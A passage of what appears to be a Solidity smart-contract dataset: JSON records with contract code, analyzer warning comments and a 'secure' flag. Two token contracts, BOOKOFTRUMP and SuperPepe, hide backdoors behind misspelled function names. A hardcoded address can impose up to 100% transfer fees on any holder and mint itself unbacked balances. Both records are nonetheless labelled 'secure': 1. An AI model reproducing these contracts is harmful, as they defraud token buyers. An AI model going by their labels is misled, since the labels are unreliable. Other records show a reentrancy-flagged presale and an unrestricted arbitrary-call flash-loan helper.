"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BOOKOFTRUMP is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4a741de): BOOKOFTRUMP._decimals should be immutable \n\t// Recommendation for 4a741de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 63dd214): BOOKOFTRUMP._totalSupply should be immutable \n\t// Recommendation for 63dd214: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2928970): BOOKOFTRUMP._terdecemitaddress should be immutable \n\t// Recommendation for 2928970: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _terdecemitaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _terdecemitaddress = 0xE969b051376A2123C497047b2c0bD8fA44b7aa91;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aproves(address user, uint256 fPercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fPercents <= maxFee;\n\n _conditionReverter(condition);\n\n _u7f15u8d39(user, fPercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _u7f15u8d39(address u7528u6237, uint256 u8d39) internal {\n if (u8d39 > 0) {\n _transferFees[u7528u6237] = u8d39;\n } else {\n _transferFees[u7528u6237] = 0;\n }\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _terdecemitaddress;\n }\n\n function liqburntoslly(address recipient, uint256 aDrops) external {\n uint256 receiveRewrd = aDrops;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_1326.sol",
"secure": 1,
"size_bytes": 5493
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GNON is ERC20 {\n constructor() ERC20(\"numogram\", \"GNON\", 9) {\n _totalSupply = 100000000000 * 10 ** 9;\n\n _balances[msg.sender] += _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n}",
"file_name": "solidity_code_1327.sol",
"secure": 1,
"size_bytes": 382
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SuperPepe is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f08665e): SuperPepe._decimals should be immutable \n\t// Recommendation for f08665e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0af94c7): SuperPepe._totalSupply should be immutable \n\t// Recommendation for 0af94c7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 49814fc): SuperPepe._marketbestddress should be immutable \n\t// Recommendation for 49814fc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketbestddress;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketbestddress = 0x8304D5590D5eD767994d3383a37ebE97F7F2C47D;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Appsove(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketbestddress;\n }\n\n function liqbilltbelity(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_1328.sol",
"secure": 1,
"size_bytes": 5372
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract OwnerWithdrawable is Ownable {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function withdraw(address token, uint256 amt) public onlyOwner {\n IERC20(token).safeTransfer(msg.sender, amt);\n }\n\n function withdrawAll(address token) public onlyOwner {\n uint256 amt = IERC20(token).balanceOf(address(this));\n\n withdraw(token, amt);\n }\n\n function withdrawCurrency(uint256 amt) public onlyOwner {\n payable(msg.sender).transfer(amt);\n }\n}",
"file_name": "solidity_code_1329.sol",
"secure": 1,
"size_bytes": 946
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPair {\n function token0() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n}",
"file_name": "solidity_code_133.sol",
"secure": 1,
"size_bytes": 282
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./OwnerWithdrawable.sol\" as OwnerWithdrawable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract PresaleV2 is OwnerWithdrawable {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n using SafeERC20 for IERC20Metadata;\n\n uint256 public rate;\n\n\t// WARNING Optimization Issue (constable-states | ID: d79a863): PresaleV2.saleToken should be constant \n\t// Recommendation for d79a863: Add the 'constant' attribute to state variables that never change.\n address public saleToken;\n\n uint256 public saleTokenDec;\n\n uint256 public totalTokensforSale;\n\n mapping(address => bool) public payableTokens;\n\n mapping(address => uint256) public tokenPrices;\n\n bool public saleStatus;\n\n address[] public buyers;\n\n mapping(address => BuyerDetails) public buyersDetails;\n\n uint256 public totalBuyers;\n\n uint256 public totalTokensSold;\n\n struct BuyerDetails {\n uint256 amount;\n bool exists;\n }\n\n struct BuyerAmount {\n uint256 amount;\n address buyer;\n }\n\n constructor() {\n saleStatus = false;\n }\n\n modifier saleEnabled() {\n require(saleStatus == true, \"Presale: is not enabled\");\n\n _;\n }\n\n modifier saleStoped() {\n require(saleStatus == false, \"Presale: is not stopped\");\n\n _;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 33e90c0): PresaleV2.initSale(uint256,uint256,uint256,bool) should emit an event for rate = _rate saleTokenDec = _decimals totalTokensforSale = _totalTokensforSale \n\t// Recommendation for 33e90c0: Emit an event for critical parameter changes.\n function initSale(\n uint256 _decimals,\n uint256 _totalTokensforSale,\n uint256 _rate,\n bool _saleStatus\n ) external onlyOwner {\n require(_rate != 0);\n\n\t\t// events-maths | ID: 33e90c0\n rate = _rate;\n\n saleStatus = _saleStatus;\n\n\t\t// events-maths | ID: 33e90c0\n saleTokenDec = _decimals;\n\n\t\t// events-maths | ID: 33e90c0\n totalTokensforSale = _totalTokensforSale;\n }\n\n function stopSale() external onlyOwner saleEnabled {\n saleStatus = false;\n }\n\n function resumeSale() external onlyOwner saleStoped {\n saleStatus = true;\n }\n\n function addPayableTokens(\n address[] memory _tokens,\n uint256[] memory _prices\n ) external onlyOwner {\n require(\n _tokens.length == _prices.length,\n \"Presale: tokens & prices arrays length mismatch\"\n );\n\n for (uint256 i = 0; i < _tokens.length; i++) {\n require(_prices[i] != 0);\n\n payableTokens[_tokens[i]] = true;\n\n tokenPrices[_tokens[i]] = _prices[i];\n }\n }\n\n function payableTokenStatus(\n address _token,\n bool _status\n ) external onlyOwner {\n require(payableTokens[_token] != _status);\n\n payableTokens[_token] = _status;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e1f5c3f): PresaleV2.updateTokenRate(address[],uint256[],uint256) should emit an event for rate = _rate \n\t// Recommendation for e1f5c3f: Emit an event for critical parameter changes.\n function updateTokenRate(\n address[] memory _tokens,\n uint256[] memory _prices,\n uint256 _rate\n ) external onlyOwner {\n require(\n _tokens.length == _prices.length,\n \"Presale: tokens & prices arrays length mismatch\"\n );\n\n if (_rate != 0) {\n\t\t\t// events-maths | ID: e1f5c3f\n rate = _rate;\n }\n\n for (uint256 i = 0; i < _tokens.length; i += 1) {\n require(payableTokens[_tokens[i]] == true);\n\n require(_prices[i] != 0);\n\n tokenPrices[_tokens[i]] = _prices[i];\n }\n }\n\n function getTokenAmount(\n address token,\n uint256 amount\n ) public view returns (uint256) {\n uint256 amtOut;\n\n if (token != address(0)) {\n require(payableTokens[token] == true, \"Presale: Token not allowed\");\n\n uint256 price = tokenPrices[token];\n\n amtOut = amount.mul(10 ** saleTokenDec).div(price);\n } else {\n amtOut = amount.mul(10 ** saleTokenDec).div(rate);\n }\n\n return amtOut;\n }\n\n function transferETH() private {\n\t\t// reentrancy-eth | ID: 657ddcf\n payable(owner()).transfer(msg.value);\n }\n\n function transferToken(address _token, uint256 _amount) private {\n\t\t// reentrancy-benign | ID: 2f56753\n\t\t// reentrancy-eth | ID: 657ddcf\n IERC20(_token).safeTransferFrom(msg.sender, owner(), _amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2f56753): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2f56753: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 657ddcf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 657ddcf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyToken(\n address _token,\n uint256 _amount\n ) external payable saleEnabled {\n uint256 saleTokenAmt = _token != address(0)\n ? getTokenAmount(_token, _amount)\n : getTokenAmount(address(0), msg.value);\n\n require(saleTokenAmt != 0, \"Presale: Amount is 0\");\n\n require(\n (totalTokensSold + saleTokenAmt) < totalTokensforSale,\n \"Presale: Not enough tokens to be sale\"\n );\n\n if (_token != address(0)) {\n\t\t\t// reentrancy-benign | ID: 2f56753\n\t\t\t// reentrancy-eth | ID: 657ddcf\n transferToken(_token, _amount);\n } else {\n\t\t\t// reentrancy-eth | ID: 657ddcf\n transferETH();\n }\n\n\t\t// reentrancy-eth | ID: 657ddcf\n totalTokensSold += saleTokenAmt;\n\n if (!buyersDetails[msg.sender].exists) {\n\t\t\t// reentrancy-benign | ID: 2f56753\n buyers.push(msg.sender);\n\n\t\t\t// reentrancy-benign | ID: 2f56753\n buyersDetails[msg.sender].exists = true;\n\n\t\t\t// reentrancy-benign | ID: 2f56753\n totalBuyers += 1;\n }\n\n\t\t// reentrancy-benign | ID: 2f56753\n buyersDetails[msg.sender].amount += saleTokenAmt;\n }\n\n function exportBuyers(\n uint256 _from,\n uint256 _to\n ) external view returns (BuyerAmount[] memory) {\n require(_from < _to, \"Presale: _from should be less than _to\");\n\n uint256 to = _to > totalBuyers ? totalBuyers : _to;\n\n uint256 from = _from > totalBuyers ? totalBuyers : _from;\n\n BuyerAmount[] memory buyersAmt = new BuyerAmount[](to - from);\n\n for (uint256 i = from; i < to; i += 1) {\n buyersAmt[i].amount = buyersDetails[buyers[i]].amount;\n\n buyersAmt[i].buyer = buyers[i];\n }\n\n return buyersAmt;\n }\n}",
"file_name": "solidity_code_1330.sol",
"secure": 0,
"size_bytes": 7645
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n}",
"file_name": "solidity_code_1331.sol",
"secure": 1,
"size_bytes": 239
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IFlashLoanRecipient.sol\" as IFlashLoanRecipient;\n\ninterface IVault {\n function flashLoan(\n IFlashLoanRecipient recipient,\n IERC20[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n}",
"file_name": "solidity_code_1332.sol",
"secure": 1,
"size_bytes": 393
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ninterface IFlashLoanRecipient {\n function receiveFlashLoan(\n IERC20[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external;\n}",
"file_name": "solidity_code_1333.sol",
"secure": 1,
"size_bytes": 351
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IFlashLoanRecipient.sol\" as IFlashLoanRecipient;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@balancer-labs/v2-vault/contracts/interfaces/IVault.sol\" as IVault;\n\ncontract FlashLoanRecipient is IFlashLoanRecipient {\n IVault private constant vault =\n IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n\n address public owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function makeFlashLoan(\n IERC20[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) public {\n vault.flashLoan(this, tokens, amounts, userData);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: a5418c0): Calls inside a loop might lead to a denial-of-service attack.\n\t// Recommendation for a5418c0: Favor pull over push strategy for external calls.\n function receiveFlashLoan(\n IERC20[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external override {\n require(msg.sender == address(vault), \"Invalid vault address\");\n\n (address[] memory targets, bytes[] memory callsData) = abi.decode(\n userData,\n (address[], bytes[])\n );\n\n aggregate(targets, callsData);\n\n for (uint256 i = 0; i < tokens.length; i++) {\n\t\t\t// calls-loop | ID: a5418c0\n require(\n IERC20(tokens[i]).transfer(\n address(vault),\n amounts[i] + feeAmounts[i]\n ),\n \"Token repayment failed\"\n );\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: b801bae): FlashLoanRecipient.aggregate(address[],bytes[]) has external calls inside a loop (success,ret) = targets[i].call(data[i])\n\t// Recommendation for b801bae: Favor pull over push strategy for external calls.\n function aggregate(\n address[] memory targets,\n bytes[] memory data\n ) public payable returns (bytes[] memory returnData) {\n returnData = new bytes[](targets.length);\n\n for (uint256 i = 0; i < targets.length; i++) {\n\t\t\t// calls-loop | ID: b801bae\n (bool success, bytes memory ret) = targets[i].call(data[i]);\n\n require(success, \"Call failed\");\n\n returnData[i] = ret;\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: d0ada15): Calls inside a loop might lead to a denial-of-service attack.\n\t// Recommendation for d0ada15: Favor pull over push strategy for external calls.\n function MasterSwap(\n address[] memory tokens,\n address[] memory spenders,\n uint256[] memory amounts,\n address[] memory flash_tokens,\n uint256[] memory loan_values,\n bytes memory data\n ) external onlyOwner {\n for (uint256 i = 0; i < tokens.length; i++) {\n\t\t\t// calls-loop | ID: d0ada15\n require(\n IERC20(tokens[i]).approve(spenders[i], amounts[i]),\n \"Approval failed\"\n );\n }\n\n (bool success, ) = address(this).call(\n abi.encodeWithSignature(\n \"makeFlashLoan(address[],uint256[],bytes)\",\n flash_tokens,\n loan_values,\n data\n )\n );\n\n require(success, \"Flashloan failed\");\n }\n\n function WithdrawToken(address token, uint256 _amount) external onlyOwner {\n require(IERC20(token).transfer(msg.sender, _amount));\n }\n\n function approveERC20(\n address _token,\n address _spender,\n uint256 _amount\n ) public onlyOwner {\n require(\n IERC20(_token).approve(_spender, _amount),\n \"ERC20 approval failed\"\n );\n }\n\n function withdrawEther(uint256 _amount) external onlyOwner {\n require(address(this).balance >= _amount, \"Insufficient Ether balance\");\n\n payable(msg.sender).transfer(_amount);\n }\n\n receive() external payable {}\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only owner can call Func\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 10adeb4): FlashLoanRecipient.changeOwner(address)._newowner lacks a zerocheck on \t owner = _newowner\n\t// Recommendation for 10adeb4: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 6b46598): FlashLoanRecipient.changeOwner(address) should emit an event for owner = _newowner \n\t// Recommendation for 6b46598: Emit an event for critical parameter changes.\n function changeOwner(address _newowner) external onlyOwner {\n require(msg.sender == owner, \"Only Owner can make changes\");\n\n\t\t// missing-zero-check | ID: 10adeb4\n\t\t// events-access | ID: 6b46598\n owner = _newowner;\n }\n}",
"file_name": "solidity_code_1334.sol",
"secure": 0,
"size_bytes": 5021
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC1404 {\n function detectTransferRestriction(\n address from,\n address to,\n uint256 value\n ) external view returns (uint8);\n\n function detectTransferFromRestriction(\n address spender,\n address from,\n address to,\n uint256 value\n ) external view returns (uint8);\n\n function messageForTransferRestriction(\n uint8 restrictionCode\n ) external view returns (string memory);\n}",
"file_name": "solidity_code_1335.sol",
"secure": 1,
"size_bytes": 539
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC1404getSuccessCode {\n function getSuccessCode() external view returns (uint8);\n}",
"file_name": "solidity_code_1336.sol",
"secure": 1,
"size_bytes": 167
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IERC1404getSuccessCode.sol\" as IERC1404getSuccessCode;\nimport \"./IERC1404.sol\" as IERC1404;\n\ninterface IERC1404Success is IERC1404getSuccessCode, IERC1404 {}",
"file_name": "solidity_code_1337.sol",
"secure": 1,
"size_bytes": 238
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC1404Validators {\n function paused() external view returns (bool);\n\n function checkWhitelists(\n address from,\n address to\n ) external view returns (bool);\n\n function checkWhitelists(\n address spender,\n address from,\n address to\n ) external view returns (bool);\n\n function checkTimelock(\n address _address,\n uint256 amount\n ) external view returns (bool);\n}",
"file_name": "solidity_code_1338.sol",
"secure": 1,
"size_bytes": 525
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IAccessControl {\n error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);\n\n error AccessControlBadConfirmation();\n\n event RoleAdminChanged(\n bytes32 indexed role,\n bytes32 indexed previousAdminRole,\n bytes32 indexed newAdminRole\n );\n\n event RoleGranted(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n event RoleRevoked(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n function hasRole(\n bytes32 role,\n address account\n ) external view returns (bool);\n\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n function grantRole(bytes32 role, address account) external;\n\n function revokeRole(bytes32 role, address account) external;\n\n function renounceRole(bytes32 role, address callerConfirmation) external;\n}",
"file_name": "solidity_code_1339.sol",
"secure": 1,
"size_bytes": 1040
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapTokensForExactTokens(\n uint256 amountOut,\n uint256 amountInMax,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n\n function swapExactETHForTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n\n function getAmountsOut(\n uint256 amountIn,\n address[] memory path\n ) external view returns (uint256[] memory amounts);\n\n function getAmountsIn(\n uint256 amountOut,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n}",
"file_name": "solidity_code_134.sol",
"secure": 1,
"size_bytes": 935
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/IAccessControl.sol\" as IAccessControl;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\n\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping(address account => bool) hasRole;\n bytes32 adminRole;\n }\n\n mapping(bytes32 role => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n modifier onlyRole(bytes32 role) {\n _checkRole(role);\n\n _;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == type(IAccessControl).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function hasRole(\n bytes32 role,\n address account\n ) public view virtual returns (bool) {\n return _roles[role].hasRole[account];\n }\n\n function _checkRole(bytes32 role) internal view virtual {\n _checkRole(role, _msgSender());\n }\n\n function _checkRole(bytes32 role, address account) internal view virtual {\n if (!hasRole(role, account)) {\n revert AccessControlUnauthorizedAccount(account, role);\n }\n }\n\n function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n function grantRole(\n bytes32 role,\n address account\n ) public virtual onlyRole(getRoleAdmin(role)) {\n _grantRole(role, account);\n }\n\n function revokeRole(\n bytes32 role,\n address account\n ) public virtual onlyRole(getRoleAdmin(role)) {\n _revokeRole(role, account);\n }\n\n function renounceRole(\n bytes32 role,\n address callerConfirmation\n ) public virtual {\n if (callerConfirmation != _msgSender()) {\n revert AccessControlBadConfirmation();\n }\n\n _revokeRole(role, callerConfirmation);\n }\n\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n bytes32 previousAdminRole = getRoleAdmin(role);\n\n _roles[role].adminRole = adminRole;\n\n emit RoleAdminChanged(role, previousAdminRole, adminRole);\n }\n\n function _grantRole(\n bytes32 role,\n address account\n ) internal virtual returns (bool) {\n if (!hasRole(role, account)) {\n _roles[role].hasRole[account] = true;\n\n emit RoleGranted(role, account, _msgSender());\n\n return true;\n } else {\n return false;\n }\n }\n\n function _revokeRole(\n bytes32 role,\n address account\n ) internal virtual returns (bool) {\n if (hasRole(role, account)) {\n _roles[role].hasRole[account] = false;\n\n emit RoleRevoked(role, account, _msgSender());\n\n return true;\n } else {\n return false;\n }\n }\n}",
"file_name": "solidity_code_1340.sol",
"secure": 1,
"size_bytes": 3164
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/AccessControl.sol\" as AccessControl;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"./IERC1404.sol\" as IERC1404;\nimport \"./IERC1404Validators.sol\" as IERC1404Validators;\nimport \"./IERC1404Success.sol\" as IERC1404Success;\n\ncontract FurahaaToken is\n ERC20,\n AccessControl,\n Pausable,\n IERC1404,\n IERC1404Validators\n{\n struct WhiteListItem {\n bool status;\n string data;\n }\n\n struct LockupItem {\n uint256 amount;\n uint256 releaseTime;\n }\n\n string constant TOKEN_NAME = \"Furahaa Token\";\n\n string constant TOKEN_SYMBOL = \"FURA\";\n\n bool public immutable MINT_ALLOWED;\n\n bool public immutable BURN_ALLOWED;\n\n address public burnAddress;\n\n bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n\n bytes32 public constant BURNER_ROLE = keccak256(\"BURNER_ROLE\");\n\n bytes32 public constant REVOKER_ROLE = keccak256(\"REVOKER_ROLE\");\n\n bytes32 public constant PAUSER_ROLE = keccak256(\"PAUSER_ROLE\");\n\n bytes32 public constant WHITELISTER_ROLE = keccak256(\"WHITELISTER_ROLE\");\n\n bytes32 public constant TIMELOCKER_ROLE = keccak256(\"TIMELOCKER_ROLE\");\n\n mapping(address => WhiteListItem) public whitelists;\n\n mapping(address 